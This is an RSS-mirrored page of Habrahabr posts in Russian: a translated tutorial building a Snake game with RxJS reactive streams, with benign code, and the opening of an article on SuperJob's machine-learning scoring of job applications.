-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

[Перевод] MVP системы рекомендаций для GitHub за неделю

Четверг, 28 Сентября 2017 г. 14:40 + в цитатник

Метки:  

[Перевод] Укрощение Змейки с помощью реактивных потоков

Четверг, 28 Сентября 2017 г. 14:24 + в цитатник
Poccomaxa_zt сегодня в 14:24 Разработка

Укрощение Змейки с помощью реактивных потоков

  • Перевод
  • Tutorial


Веб в наши дни двигается очень быстро и мы все это знаем. Сегодня Реактивное Программирование является одной из самых горячих тем в веб-разработке и с такими фреймворками, как Angular или React, она стала гораздо более популярной, особенно в современном мире JavaScript. В сообществе произошел массовый переход от императивных парадигм программирования к функциональным реактивным парадигмам. Тем не менее, многие разработчики пытаются с этим бороться и часто перегружены его сложностью (большой API), фундаментальным сдвигом в мышлении (от императивного к декларативному) и множеством понятий.

Хотя это не самая простая тема, но как только мы сумеем ее понять, мы спросим себя, как мы могли без нее жить?

Эта статья не предназначена для введения в реактивное программирование, и если вы совершенный новичок в ней, мы рекомендуем следующие ресурсы:



Цель этой публикации — научиться мыслить реактивно, построив классическую видеоигру, которую все мы знаем и любим — Змейка. Правильно, видеоигра! Это забавная, но сложная система, которая содержит в себе много внешнего состояния, например: счет, таймеры или координаты игрока. Для нашей версии мы будем широко использовать Observables (наблюдаемые) и использовать несколько разных операторов, чтобы полностью избежать сторонних влияний на внешнее состояние. В какой-то момент может возникнуть соблазн сохранить состояние за пределами потока Observable, но помните, что мы хотим использовать реактивное программирование и не полагаться на отдельную внешнюю переменную, которая сохраняет состояние.

Примечание. Мы будем использовать HTML5 и JavaScript исключительно с RxJS, чтобы преобразовать программный цикл событий в приложение, основанное на реактивном событии.

Код доступен на Github, и здесь можно найти демо-версию. Я призываю Вас клонировать проект, немного повозиться с ним и реализовать интересные новые игровые функции. Если вы это сделаете, напишите мне в Twitter.

Содержание

  • Игра
  • Настройка сцены
  • Идентификация исходных потоков
  • Управление змейкой
    • Поток направления (direction$)
  • Отслеживание длины
    • BehaviorSubject как спасение
    • Реализация счета (score$)
  • Укрощение змейки (snake$)
  • Создание яблок
    • Вещание событий
  • Собирая всё вместе
    • Поддержание производительности
    • Отображение сцены
  • Будущая работа
  • Особая благодарность


Игра

Как упоминалось ранее, мы собираемся воссоздать Змейку, классическую видеоигру с конца 1970-х годов. Но вместо простого копирования игры мы добавим немного вариации к ней. Вот как работает игра.

Как игрок Вы контролируете линию, похожую на голодную змею. Цель состоит в том, чтобы съесть столько яблок, сколько сможете, чтобы вырасти как можно длиннее. Яблоки можно найти в случайных позициях на экране. Каждый раз, когда змея ест яблоко, её хвост становится длиннее. Стены не остановят вас! Но послушайте, Вы должны стараться избегать попадания в своё собственное тело любой ценой. Если Вы этого не сделаете, игра окончена. Как долго Вы сможете выжить?

Вот предварительный пример того, что мы собираемся сделать:



Для этой конкретной реализации змея представлена в виде линии синих квадратов, где ее голова окрашена в черный цвет. Можете ли Вы сказать, как выглядят фрукты? Точно, красные квадраты. Все сущности это квадрат, и это не потому, что так они выглядят красивее, а потому что это очень простые геометрические фигуры и они легко рисуются. Графика не очень блестящая, но эй, речь ведь идет о переходе от императивного программирования к реактивному программированию, а не об игровом искусстве.

Настройка сцены

Прежде чем мы начнем работать с функциональностью игры, нам нужно создать элемент canvas (холст), который дает нам мощные API-интерфейсы рисования из JavaScript. Мы будем использовать холст для рисования нашей графики, включая игровое поле, змею, яблоки и в основном все, что нам нужно для нашей игры. Другими словами, игра будет полностью отображаться в элементе canvas.

Если это совершенно ново для Вас, ознакомьтесь с этим курсом на egghead от Keith Peters.

Файл index.html довольно прост, потому что большая часть магии происходит в JavaScript.



  
  


  




Сценарий (script), который мы добавляем к телу (body), по сути является результатом процесса сборки и содержит весь наш код. Однако вам может быть интересно, почему в body нет такого элемента как canvas. Это потому, что мы создадим этот элемент с помощью JavaScript. Кроме того, мы добавляем несколько констант, которые определяют количество строк и столбцов, а также ширину и высоту холста.

export const COLS = 30;
export const ROWS = 30;
export const GAP_SIZE = 1;
export const CELL_SIZE = 10;
export const CANVAS_WIDTH = COLS * (CELL_SIZE + GAP_SIZE);
export const CANVAS_HEIGHT = ROWS * (CELL_SIZE + GAP_SIZE);

export function createCanvasElement() {
  const canvas = document.createElement('canvas');
  canvas.width = CANVAS_WIDTH;
  canvas.height = CANVAS_HEIGHT;
  return canvas;
}


С помощью этого мы можем вызвать эту функцию, создать элемент canvas на лету и добавить его в body нашей страницы:

let canvas = createCanvasElement();
let ctx = canvas.getContext('2d');
document.body.appendChild(canvas);


Обратите внимание, что мы также получаем ссылку на CanvasRenderingContext2D, вызывая getContext ('2d') на элементе canvas. Этот контекст 2D-рендеринга для холста позволяет нам рисовать, например, прямоугольники, текст, линии, пути и многое другое.

Мы готовы двигаться! Давайте начнем работу над основной механикой игры.

Идентификация исходных потоков

Исходя из примера и описания игры мы знаем, что нам нужны следующие функции:

  • Управление змеей с помощью клавиш со стрелками
  • Слежение за счетом игрока
  • Слежение за змеей (включая еду и перемещение)
  • Слежение за яблоками на поле (включая создание новых яблок)


В реактивном программировании речь идет о программировании на основе потоков данных, потоков входных данных. Концептуально, когда выполняется реактивная программа, она устанавливает наблюдение за источником информации, и реагирует на изменения, такие как например, взаимодействие пользователя с приложением, при нажатии клавиши на клавиатуре или просто следующий этап интервала. Так что все дело в том, чтобы понять, что может измениться. Эти изменения часто определяют исходные потоки. Главная задача определиться с исходными потоками, а затем составить их вместе, чтобы рассчитать все, что Вам нужно, например, состояние игры.

Попробуем найти наши исходные потоки, посмотрев на вышеприведенные функции.

Прежде всего, вводимые пользователем данные определенно будут меняться со временем. Игрок перемещает голодную змею с помощью клавиш со стрелками. Это означает, что наш первый исходный поток — keydown$, который будет инициировать изменение значения всякий раз, когда нажата клавиша.

Затем нам нужно следить за счетом игрока. Счет в основном зависит от того, сколько яблок съела змея. Можно сказать, что счет зависит от длины змеи, потому что всякий раз, когда змея растет, мы хотим увеличить счет на 1. Поэтому наш следующий исходный поток — snakeLength$.

Опять же, важно определить основные потоки, из которых мы можем вычислить все, что Вам нужно, например, счет. В большинстве случаев исходные потоки объединяются и преобразуются в более конкретные потоки данных. Через минуту мы увидим это в действии. На данный момент давайте продолжим определение наших основных потоков.

На данный момент мы получили события пользовательского ввода и счет. Нам остались более игровые или интерактивные потоки, такие как змея или яблоки.

Давайте начнём со змеи. Основной механизм змеи прост: она движется со временем, и чем больше яблок она съедает, тем больше она растет. Но что именно является потоком змеи? На данный момент мы можем забыть о том, что она ест и растет, потому что в первую очередь важно то, что она зависит от фактора времени, когда она движется со временем, например, 5 пикселей каждые 200 ms. Таким образом, наш исходный поток — это интервал, который отправляет значение после каждого периода времени, и мы называем это ticks$. Этот поток также определяет скорость нашей змеи.

И последнее, но не менее важное: яблоки. Расположить яблоки на поле учитывая всё — довольно просто. Этот поток в основном зависит от змеи. Каждый раз, когда змея движется, мы проверяем, сталкивается ли голова змеи с яблоком или нет. Если это так, мы удаляем это яблоко и генерируем новое в произвольной позиции на поле. Как упоминалось, нам не нужно вводить новый поток данных для яблок.

Отлично, это всё, что касается основных потоков. Вот краткий обзор всех потоков, которые нам нужны для нашей игры:

  • keydown$: события нажатия клавиши (KeyboardEvent)
  • snakeLength$: представляет длину змеи (Number)
  • ticks$: интервал, который представляет движение змеи (Number)


Эти исходные потоки создают основу для нашей игры, из которой мы можем рассчитать все другие значения, которые нам необходимы, включая счет, состояние змеи и яблоки.

В следующих разделах мы более подробно рассмотрим, как реализовать каждый из этих исходных потоков и применить их для генерации необходимых нам данных.

Управление змейкой

Давайте погрузимся прямо в код и внедрим механизм управления для нашей змеи. Как упоминалось в предыдущем разделе, управление зависит от ввода с клавиатуры. Оказывается, это ужасно просто, и первым шагом является создание наблюдаемой (observable) последовательности из событий клавиатуры. Для этого мы можем использовать оператор fromEvent():

let keydown$ = Observable.fromEvent(document, 'keydown');


Это наш самый первый исходный поток, и он будет инициировать KeyboardEvent каждый раз, когда пользователь нажимает клавишу. Обратите внимание, что буквально каждый keydown инициирует событие. Поэтому мы также получаем события для клавиш, которые нас абсолютно не интересуют, и это в основном все остальные клавиши, кроме клавиш со стрелками. Но прежде чем решать эту конкретную проблему, мы определяем постоянную карту направлений:

export interface Point2D {
  x: number;
  y: number;
}

export interface Directions {
  [key: number]: Point2D;
}

export const DIRECTIONS: Directions = {
  37: { x: -1, y: 0 }, // Left Arrow
  39: { x: 1, y: 0 },  // Right Arrow
  38: { x: 0, y: -1 }, // Up Arrow
  40: { x: 0, y: 1 }   // Down Arrow
};


Посмотрев на объект KeyboardEvent, можно предположить, что каждый ключ имеет уникальный keyCode. Чтобы получить коды для клавиш со стрелками, мы можем использовать эту таблицу.

Каждое направление имеет тип Point2D, который является просто объектом с x и y свойствами. Значение для каждого свойства может быть равно 1, -1 или 0, указывая, где должна быть змея. Позже мы будем использовать направление для получения новой позиции сетки для головы и хвоста змеи.

Поток направления (direction$)

Итак, у нас уже есть поток для событий keydown, и каждый раз, когда игрок нажимает клавишу, нам нужно сопоставить значение, которое являет собой KeyboardEvent, одному из векторов направления выше. Для этого мы можем использовать оператор map() для проецирования каждого события клавиатуры на вектор направления.

let direction$ = keydown$
  .map((event: KeyboardEvent) => DIRECTIONS[event.keyCode])


Как упоминалось ранее, мы будем получать каждое событие нажатия клавиши, потому что мы не отфильтровываем те, которые нас не интересуют, например, клавиши символов. Однако можно утверждать, что мы уже фильтруем события, просматривая их на карте направлений. Для каждого keyCode, который не определен на этой карте, он будет возвращен как undefined. Тем не менее, на самом деле это не фильтрует значения в потоке, поэтому мы можем использовать оператор filter(), чтобы обрабатывать только нужные значения.

let direction$ = keydown$
  .map((event: KeyboardEvent) => DIRECTIONS[event.keyCode])
  .filter(direction => !!direction)


Хорошо, это было легко. Код выше отлично работает и работает так, как ожидалось. Тем не менее, есть еще кое-что для улучшения. Вы догадались что именно?

Ну, одна идея состоит в том, что мы хотим помешать змее идти в противоположную сторону, например. справа налево или сверху вниз. На самом деле не имеет смысла допускать такое поведение, потому что правило номер один заключается в том, чтобы избежать попадания в собственный хвост, помните?

Решение довольно просто. Мы кэшируем предыдущее направление и когда вызывается новое событие, мы проверяем, не отличается ли новое направление от противоположного. Вот функция, которая вычисляет next (следующее) направление:

export function nextDirection(previous, next) {
  let isOpposite = (previous: Point2D, next: Point2D) => {
    return next.x === previous.x * -1 || next.y === previous.y * -1;
  };

  if (isOpposite(previous, next)) {
    return previous;
  }

  return next;
}


Это первый случай, когда у нас возникает соблазн сохранить состояние за пределами Observable (наблюдаемого) источника информации, потому что нам как-то нужно правильно отслеживать предыдущее направление… Легким решением является просто сохранить предыдущее направление во внешней переменной состояния. Но постойте! Ведь мы хотели избежать этого, не так ли?

Чтобы избежать внешней переменной, нам нужен способ сортировки совокупных бесконечных Observables. RxJS имеет очень удобный оператор, который мы можем использовать для решения нашей проблемы — scan().

Оператор scan() очень похож на Array.reduce(), но вместо того, чтобы только возвращать последнее значение, он инициирует отправку каждого промежуточного результата. С помощью scan() мы можем в основном накапливать значения и бесконечно сокращать поток входящих событий до одного значения. Таким образом, мы можем отслеживать предыдущее направление, не полагаясь на внешнее состояние.

Давайте применим это и посмотрим на наш окончательный direction$ поток:

let direction$ = keydown$
  .map((event: KeyboardEvent) => DIRECTIONS[event.keyCode])
  .filter(direction => !!direction)
  .scan(nextDirection)
  .startWith(INITIAL_DIRECTION)
  .distinctUntilChanged();


Обратите внимание, что мы используем startWith(), чтобы инициировать начальное значение, прежде чем начинать отправлять значения из источника Observable (keydown$). Без этого оператора наш Observable начнет отправлять значения только тогда, когда игрок нажимает клавишу.

Второе улучшение заключается в том, чтобы инициировать отправку значений только тогда, когда новое направление отличается от предыдущего. Другими словами, нам нужны только отличающиеся значения. Возможно, вы заметили в приведенном выше фрагменте distinctUntilChanged(). Этот оператор делает грязную работу за нас и подавляет повторяющиеся элементы. Обратите внимание, что distinctUntilChanged() только отфильтровывает одинаковые значения, если между ними не выбрано другое.

Следующая схема визуализирует наш поток direction$ и то, как он работает. Значения, окрашенные в синий цвет, представляют начальные значения, желтый означает, что значение было изменено на потоке Observable, а значения, отправленные в потоке результатов, окрашены в оранжевый цвет.



Отслеживание длины

Прежде чем мы реализуем саму змею, давайте придумаем как отслеживать ее длину. Почему нам нужна длина в первую очередь? Ну, мы используем эту информацию для моделирования счета. Правильно будет сказать, что в императивном мире мы просто проверяем, было ли столкновение всякий раз, когда змея движется, и если это так, мы увеличиваем счет. Таким образом, на самом деле нет необходимости отслеживать длину. Тем не менее, такой подход представил бы еще одну переменную внешнего состояния, которой мы хотим избежать любой ценой.

В реактивном мире решение немного отличается. Один из простых подходов может заключаться в использовании потока snake$, и каждый раз, когда он отправляет значение, мы знаем, что змея увеличилась в длину. Хотя это действительно зависит от реализации snake$, пока мы не будем реализовывать этот поток. С самого начала мы знаем, что змея зависит от ticks$, поскольку она перемещается на определенное расстояние с течением времени. Таким образом, snake$ будет накапливать массив сегментов тела, и поскольку она основана на ticks$, она будет генерировать значение каждые x миллисекунд. Тем не менее, даже если змея не сталкивается ни с чем, snake$ будет по-прежнему отправлять значения. Это потому, что змея постоянно движется по полю, и поэтому массив всегда будет другим.

Это может быть немного сложно понять, потому что между различными потоками есть определенные зависимости. Например, apples$ будут зависеть от snake$. Причина этого в том, что каждый раз, когда движется змея, нам нужен массив сегментов её тела, чтобы проверить, не сталкивается ли какая-либо из этих частей с яблоком. В то время как поток apples$ будет накапливать массив яблок, нам нужен механизм моделирования коллизий, который в то же время избегает круговых зависимостей.

BehaviorSubject как спасение

Решение этой задачи заключается в том, что мы будем внедрять механизм вещания, используя BehaviorSubject. RxJS предлагает различные типы Subjects (предметов) с различными функциональными возможностями. Таким образом, класс Subject предоставляет базу для создания более специализированных Subjects. В двух словах, Subject является типом, который реализует одновременно типы Observer (наблюдатель) и Observable (наблюдаемый). Observables определяют поток данных и создают данные, в то время как Observers могут подписаться на Observables и получать данные.

BehaviorSubject — это более специализированный Subject, предоставляющий значение, которое изменяется со временем. Теперь, когда Observer подписывается на BehaviorSubject, он получит последнее отправленное значение, а затем все последующие значения. Его уникальность заключается в том, что он включает в себя начальное значение, так что все Observers получат как минимум одно значение при подписке.

Давайте продолжим и создадим новый BehaviorSubject с начальным значением SNAKE_LENGTH:

// SNAKE_LENGTH specifies the initial length of our snake
let length$ = new BehaviorSubject(SNAKE_LENGTH);


С этого места остался лишь небольшой шаг для реализации snakeLength$:

let snakeLength$ = length$
  .scan((step, snakeLength) => snakeLength + step)
  .share();


В приведенном выше коде мы видим, что snakeLength$ основана на length$, которая является нашим BehaviorSubject. Это означает, что всякий раз, когда мы передаем новое значение для Subject, используя next(), он будет отправлять значение на snakeLength$. Кроме того, мы используем scan() для накопления длины с течением времени. Круто, но вам может быть интересно, что это за share(), не так ли?

Как уже упоминалось, snakeLength$ будет позже использоваться как входящие данные для snake$, но в то же время действует как исходный поток для счёта игрока. Как результат мы в конечном итоге воссоздаем этот исходный поток со второй подпиской на тот же Observable. Это происходит потому, что length$ является cold Observable (холодным Наблюдаемым).

Если вы совершенно не знакомы с hot and cold Observables (горячими и холодными наблюдателями), мы написали статью о Cold vs Hot Observables.

Дело в том, что мы используем share(), чтобы разрешить мульти подписки к Observable, которые в противном случае повторно создавали бы его источник при каждой подписке. Этот оператор автоматически создает Subject между исходным источником и всеми будущими подписчиками. Как только количество подписчиков перейдет от нуля к одному, он подключит Subject к базовому источнику Observable и инициирует отправку всех своих уведомлений. Все будущие подписчики будут подключены к этому промежуточному Subject, так что это эффективно, что есть только одна подписка на лежащий ниже холодный Observable. Это называется многоадресной рассылкой (мультикастинг) и поможет Вам выделиться.

Потрясающие! Теперь, когда у нас есть механизм, который мы можем использовать для передачи значений нескольким подписчикам, мы можем пойти дальше и реализовать score$.

Реализация счета (score$)

Реализация счета игрока настолько проста, насколько это возможно. Вооружившись snakeLength$, мы теперь можем создать поток score$, который просто накапливает счет игрока с помощью scan():

let score$ = snakeLength$
  .startWith(0)
  .scan((score, _) => score + POINTS_PER_APPLE);


По сути мы используем snakeLength$ или, скорее, length$, чтобы уведомлять подписчиков о том, что произошло столкновение, и если это действительно было так, мы просто увеличиваем счет на POINTS_PER_APPLE, постоянное количество очков за яблоко. Обратите внимание, что startWith(0) необходимо добавить перед scan(), чтобы избежать указания начального значения.

Давайте посмотрим на более наглядное представление того, что мы только что реализовали:



Посмотрев на приведенную выше схему, вы можете задаться вопросом, почему начальное значение BehaviorSubject появляется только на snakeLength$ и отсутствует в score$. Это связано с тем, что первый подписчик заставит share() подписаться на базовый источник данных и, поскольку исходный источник данных сразу же отправляет значение, это значение уже будет отправлено к тому времени, когда произошли последующие подписки.

Чудно. Начиная с этого места, давайте реализуем поток для нашей змеи. Разве это не захватывающе?

Укрощение змейки (snake$)

К этому моменту мы уже выучили много операторов и теперь можем использовать их для реализации нашего потока snake$. Как обсуждалось в начале этой статьи, нам нужен какой-то тикер, который удерживает нашу голодную змею двигающейся. Оказывается, есть удобный оператор для этого interval(x), который отправляет значения каждые x миллисекунд. Давайте будем называть каждое значение тиком.

let ticks$ = Observable.interval(SPEED);


С этого момента до реализации финального потока snake$ совсем немного. Для каждого тика, в зависимости от того, съела ли змея яблоко или нет, мы хотим либо переместить её вперёд, либо добавить новый сегмент. Поэтому мы можем использовать уже знакомую нам функцию scan() для накопления массива сегментов тела. Но, как вы, возможно, догадались, перед нами возникает вопрос. Где вступают в игру потоки direction$ или snakeLength$?

Абсолютно законный вопрос. Направление, как и длина змеи легко доступны внутри нашего потока snake$, если мы сохраним эту информацию в переменной за пределами наблюдаемого потока. Но опять же, мы нарушаем наше правило не изменять внешнее состояние.

К счастью, RxJS предлагает еще один очень удобный оператор с именем withLatestFrom(). Это оператор, используемый для объединения потоков, и это именно то, что мы ищем. Этот оператор применяется к первичному потоку, который контролирует, когда данные будут отправляться в результирующий поток. Другими словами, вы можете думать о withLatestFrom() как о способе регулирования отправки данных вторичного потока.

Учитывая вышесказанное у нас есть инструменты, необходимые для окончательного внедрения голодной snake$:

let snake$ = ticks$
  .withLatestFrom(direction$, snakeLength$, (_, direction, snakeLength) => [direction, snakeLength])
  .scan(move, generateSnake())
  .share();


Наш основной источник — это ticks$, и всякий раз, когда новое значение проходит вниз по своему пути, мы берем последние значения как с direction$, так и с snakeLength$. Обратите внимание, что даже если вторичные потоки часто отправляют значения, например, если игрок разбивает себе голову на клавиатуре, мы будем обрабатывать данные только для каждого тика.

Кроме того, мы передаем селекторную функцию (функцию для настройки) в withLatestFrom, которая вызывается, когда первичный поток инициирует отправку значения. Эта функция является необязательной, и если ее убрать, то появляется список со всеми элементами.

Мы не будем объяснять функцию move(), поскольку основной целью этого поста является содействие изменению фундаментального мышления. Тем не менее, вы можете найти её исходный код на GitHub.

Вот схема, которая наглядно демонстрирует код выше:



Видите как мы регулируем поток direction$? Дело в том, что использование withLatestFrom() очень практично, когда вы хотите объединить несколько потоков, и Вы не заинтересованы в создании значений в блоке Observable (наблюдаемом), когда любой из потоков отправляет данные.

Создание яблок

Вы можете заметить, что внедрение наших основных строительных блоков для игры становится всё проще, поскольку мы узнаем все больше и больше операторов. Если Вы дошли до этой точки, то оставшиеся шаги будут легкими.

На данный момент мы реализовали несколько потоков, таких как direction$, snakeLength$, score$ и snake$. Если мы объединим их вместе, мы сможем перемещаться по этому зверю змею. Но что это за игра, если нечего есть. Довольно скучно.

Давайте создадим несколько яблок, чтобы удовлетворить аппетит нашей змеи. Во-первых, давайте проясним, какое состояние нам нужно сохранить. Ну, это может быть либо один объект, либо массив объектов. Для нашей реализации мы выберем массив яблок. Вы слышите звон колоколов?

Правильно, мы снова можем использовать scan() для накопления массива яблок. Мы начинаем с начального значения, и каждый раз, когда змея движется, мы проверяем, произошло ли столкновение. Если это так, мы создаем новое яблоко и возвращаем новый массив. Таким образом мы можем использовать distinctUntilChanged() для фильтрации одинаковых значений.

let apples$ = snake$
  .scan(eat, generateApples())
  .distinctUntilChanged()
  .share();


Круто! Это означает, что всякий раз, когда apples$ отправляет новое значение, мы можем предположить, что наша змея съела один из этих вкусных фруктов. Осталось увеличить счет, а также сообщить другим потокам об этом событии, таким как snake$, которая берет последнее значение от snakeLength$, чтобы определить, добавить ли новый сегмент тела.

Вещание событий

Немного ранее мы реализовали механизм вещания, помните? Давайте использовать его для запуска желаемых действий. Вот наш код для eat():

export function eat(apples: Array, snake) {
  let head = snake[0];

  for (let i = 0; i < apples.length; i++) {
    if (checkCollision(apples[i], head)) {
      apples.splice(i, 1);
      // length$.next(POINTS_PER_APPLE);
      return [...apples, getRandomPosition(snake)];
    }
  }

  return apples;
}


Простым решением является вызов length$.next(POINTS_PER_APPLE) прямо внутри блока условия. Но тогда мы столкнемся с проблемой, потому что мы не сможешь извлечь этот метод в свой собственный модуль утилит (модуль ES2015). В ES2015 модули хранятся в файлах, и для каждого файла существует ровно один модуль. Наша цель состоит в том, чтобы организовать наш код таким образом, чтобы его было легко поддерживать и расширять.

Более утонченным решением является введение еще одного потока, называемого applesEaten$. Этот поток основан на apples$ и каждый раз, когда в потоке отправляется новое значение, мы хотели бы выполнить какое-то действие, вызывая length$.next(). Для этого мы можем использовать оператор do(), который будет выполнять часть кода для каждого события.

Звучит выполнимо. Но нам как-то нужно пропустить первое (начальное) значение, испускаемое apples$. В противном случае мы в конечном итоге увеличиваем счет сразу, что не имеет большого смысла, поскольку игра только началась. Оказывается, у RxJS есть оператор для этого, а именно skip().

Тот факт, что applesEaten$ действует только как распространитель уведомлений для других потоков, означает что у нас не будет наблюдателя подписанного на этот поток. Поэтому мы должны подписаться на поток самостоятельно.

let appleEaten$ = apples$
  .skip(1)
  .do(() => length$.next(POINTS_PER_APPLE))
  .subscribe();


Собирая всё вместе

На этом этапе мы реализовали все основные строительные блоки нашей игры, и мы готовы, наконец, объединить все в один поток результата — scene$. Для этого мы будем использовать combineLatest. Этот оператор очень похож на withLatestFrom, но отличается в деталях. Во-первых, давайте посмотрим на код:

let scene$ = Observable.combineLatest(snake$, apples$, score$, (snake, apples, score) => ({ snake, apples, score }));


Вместо того, чтобы регулировать частоту вторичных потоков, нас интересует событие каждый раз, когда любой из входных Observables (наблюдаемых) потоков генерирует новое значение. Последний аргумент снова является функцией настройкой, и мы просто берем все значения и возвращаем объект, который представляет собой наше состояние игры. Состояние игры содержит все, что нужно отображать на холсте.



Поддержание производительности

Не только в игре, но и в веб-приложениях мы стремимся поддерживать производительность. Понятие производительности может означать много, но с точки зрения нашей игры мы хотели бы перерисовать всю сцену 60 раз в секунду.

Мы можем сделать это, представив другой поток, похожий на ticks$, но для рендеринга. В основном это лишь другой интервал:

// Interval expects the period to be in milliseconds which is why we devide FPS by 1000
Observable.interval(1000 / FPS)


Проблема в том, что JavaScript является однопоточным. В худшем случае мы не позволяем браузеру ничего делать, и блокируем его. Другими словами, браузер не сможет обработать все эти обновления достаточно быстро. Причина этого заключается в том, что браузер пытается отобразить кадр, а затем сразу же запрашивает возможность рендерить следующий. В результате он бросает текущую задачу и начинает следующую, чтобы поддерживать скорость. Вот тогда анимации начинают выглядеть неряшливо.

К счастью, мы можем использовать requestAnimationFrame, позволяя браузеру работать и выполнять наш скрипт в самое подходящее время. Но как мы используем его для нашего блока Observable? Хорошей новостью является то, что многие операторы, включая interval(), принимают в качестве последнего аргумента Scheduler (планировщик). В двух словах, Scheduler — это механизм, позволяющий запланировать выполнение какой-либо задачи в будущем.

Хотя RxJS предлагает множество планировщиков, тот, который нас интересует, называется animationFrame. Этот планировщик выполняет задачу при запуске window.requestAnimationFrame.

Отлично! Давайте применим это к нашему интервалу, и назовем результирующий Observable game$:

// Note the last parameter
const game$ = Observable.interval(1000 / FPS, animationFrame)


Этот интервал теперь будет отправлять значения примерно каждые 16 мс, поддерживающие 60 FPS.

Отображение сцены

Нам осталось объединить нашу game$ с scene$. Можете ли вы догадаться, какой оператор мы используем для этого? Помните, что оба потока отправляются с разными интервалами, и теперь цель состоит в том, чтобы отобразить нашу сцену на холсте 60 раз в секунду. Мы будем использовать game$ в качестве основного потока, и каждый раз, когда он отправляет значение, мы объединяем его с последним значением из scene$. Звучит знакомо? Да, мы снова можем использовать withLatestFrom.

// Note the last parameter
const game$ = Observable.interval(1000 / FPS, animationFrame)
  .withLatestFrom(scene$, (_, scene) => scene)
  .takeWhile(scene => !isGameOver(scene))
  .subscribe({
    next: (scene) => renderScene(ctx, scene),
    complete: () => renderGameOver(ctx)
  });


Возможно, вы заметили takeWhile() в приведенном выше коде. Это еще один очень полезный оператор, который мы можем вызвать на существующем Observable. Он будет возвращать значения из game$ до тех пор, пока isGameOver() не вернет true.

Вот живое демо для вас с которым можно поиграться:



Будущая работа

Игра очень простая, и в следующих записях мы будем расширять ее различными функциями, одна из которых перезапускает всю игру. Кроме того, мы рассмотрим, как мы можем реализовать паузу и возобновление игры, а также различные уровни сложности.

Будьте на связи!

Особая благодарность

Особая благодарность James Henry и Brecht Billiet за их помощь с кодом.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/338910/


Метки:  

Как мы учим ИИ помогать находить сотрудников

Четверг, 28 Сентября 2017 г. 14:18 + в цитатник
matvey_travkin сегодня в 14:18 Разработка

Как мы учим ИИ помогать находить сотрудников

    Ведущий разработчик SuperJob Сергей Сайгушкин рассказывает о подготовке данных и обучении модели скоринга резюме, внедрении в продакшн, мониторинге метрик качества и АБ-тестировании функционала скоринга резюме.

    Статья подготовлена по материалам доклада на РИТ 2017 «Ранжирование откликов соискателей с помощью машинного обучения».






    Почему рекрутерам не хватает ИИ?


    Есть два базовых способа работы рекрутера с SuperJob. Можно, используя внутренний поиск сервиса, отсматривать резюме и приглашать подходящих специалистов на собеседования. А можно разместить вакансию и работать с откликами специалистов.



    15% вакансий на SuperJob получают более 100 откликов в сутки. Соискатели не всегда отправляют резюме, соответствующее должности. Поэтому эйчарам приходится тратить лишнее время, чтобы отобрать нужных кандидатов.
    Например, вакансия «Ведущий PHP-разработчик» обязательно соберет отклики программиста «1С», технического писателя и даже директора по маркетингу. Это осложняет и замедляет подбор даже на одну позицию. А в работе у рекрутера одновременно бывает несколько десятков вакансий.

    Мы разработали алгоритм скоринга резюме, который автоматически выделяет резюме, совсем не подходящие к вакансии. С помощью него мы определяем нерелевантные отклики и пессимизируем их в списке откликов в личном кабинете работодателя. Получаем задачу классификации на два класса:

    + подходящий
    — неподходящий отклик

    И даем возможность рекрутеру возможность фильтровать отклики по данному признаку в личном кабинете.

    Готовь данные летом, зимой, осенью и весной. И еще — летом


    Подготовка данных для обучения — это один из важнейших этапов. От того, насколько тщательно подготовлен этот этап, зависит ваш успех. Мы обучаемся на событиях из личного кабинета рекрутера. Выборка включает в себя примерно 10—12 миллионов событий за последние 3 месяца.

    В качестве меток классов используем события отклонения резюме и приглашения на собеседование. Если рекрутер сразу отклоняет резюме, без приглашения на собеседование, то скорее всего оно является нерелевантным. Соответственно, если рекрутер приглашает на собеседование (даже если впоследствии отклоняет), то отклик релевантен вакансии.

    Для каждой вакансии проверяем распределение приглашений на собеседование и отклонений без рассмотрения и соответственно не обучаем модель на событиях вакансий, в которых количество отклонений существенно превышает количество приглашений. Или наоборот: там, где рекрутер приглашает всех подряд (или отклоняет всех подряд), такие вакансии мы также считаем выбросами.



    Ось Х — количество приглашений на собеседование
    Ось Y — количество вакансий


    На графике видно, что рекрутеры в основном приглашают 5—6 соискателей на одну вакансию. По боксплоту можно оценить медиану приглашений, верхний и нижний квартиль и выявить выбросы. В нашем примере все вакансии с более чем 14 приглашениями на собеседование являются выбросами.


    Ось Х — количество отклонений резюме
    Ось Y — количество вакансий


    В среднем для одной вакансии рекрутер отклоняет 8—9 соискателей. И все вакансии с количеством отклонений более 25 являются выбросами, что видно на боксплоте.

    Кто не хочет работать головой — работает руками


    После обучения модели для каждого рекрутера мы построили свою матрицу ошибок и обнаружили кластер работодателей, с которыми наша модель плохо справлялась. После анализа лога действий данных рекрутеров стало понятно, почему модель пессимизировала отклики соискателей, которых потом приглашали на собеседование. Данные рекрутеры массово приглашали на собеседование соискателей с резюме вообще из другой профессиональной области, не соответствующей вакансии, то есть приглашали всех подряд. То есть вакансия расходилась с резюме приглашенного кандидата практически полностью. Как ни странно, в основном это были клиенты с безлимитным тарифом. Они получают полный доступ к базе и берут количеством, а не качеством. Данных рекрутеров мы включили в черный список и не обучались на их действиях, т.к. паттерн поведения расходился с поставленной задачей.

    Самый запоминающийся пример был с вакансией полицейского московского метрополитена. Рекрутер приглашал на собеседование кого угодно: продавцов, торговых представителей, актеров — и отклонял сотрудников национальной гвардии и полицейских. Возможно, он перепутал кнопки «отклонить» и «пригласить» в интерфейсе личного кабинета.



    Генерация признаков
    Наша модель использует более 170 признаков. Все признаки основаны на свойствах вакансии, резюме и их сочетаниях. В качестве примера можно привести зарплатную вилку вакансии, желаемую зарплату резюме и попадание зарплаты резюме в зарплатную вилку вакансии как сочетание признаков резюме и вакансии.

    К категориальным признакам применяем бинарное кодирование (One-Hot Encoding). Требование вакансии о наличии определенного типа образования, категории водительских прав или знания одного из иностранных языков раскрывается в несколько бинарных фич для модели.
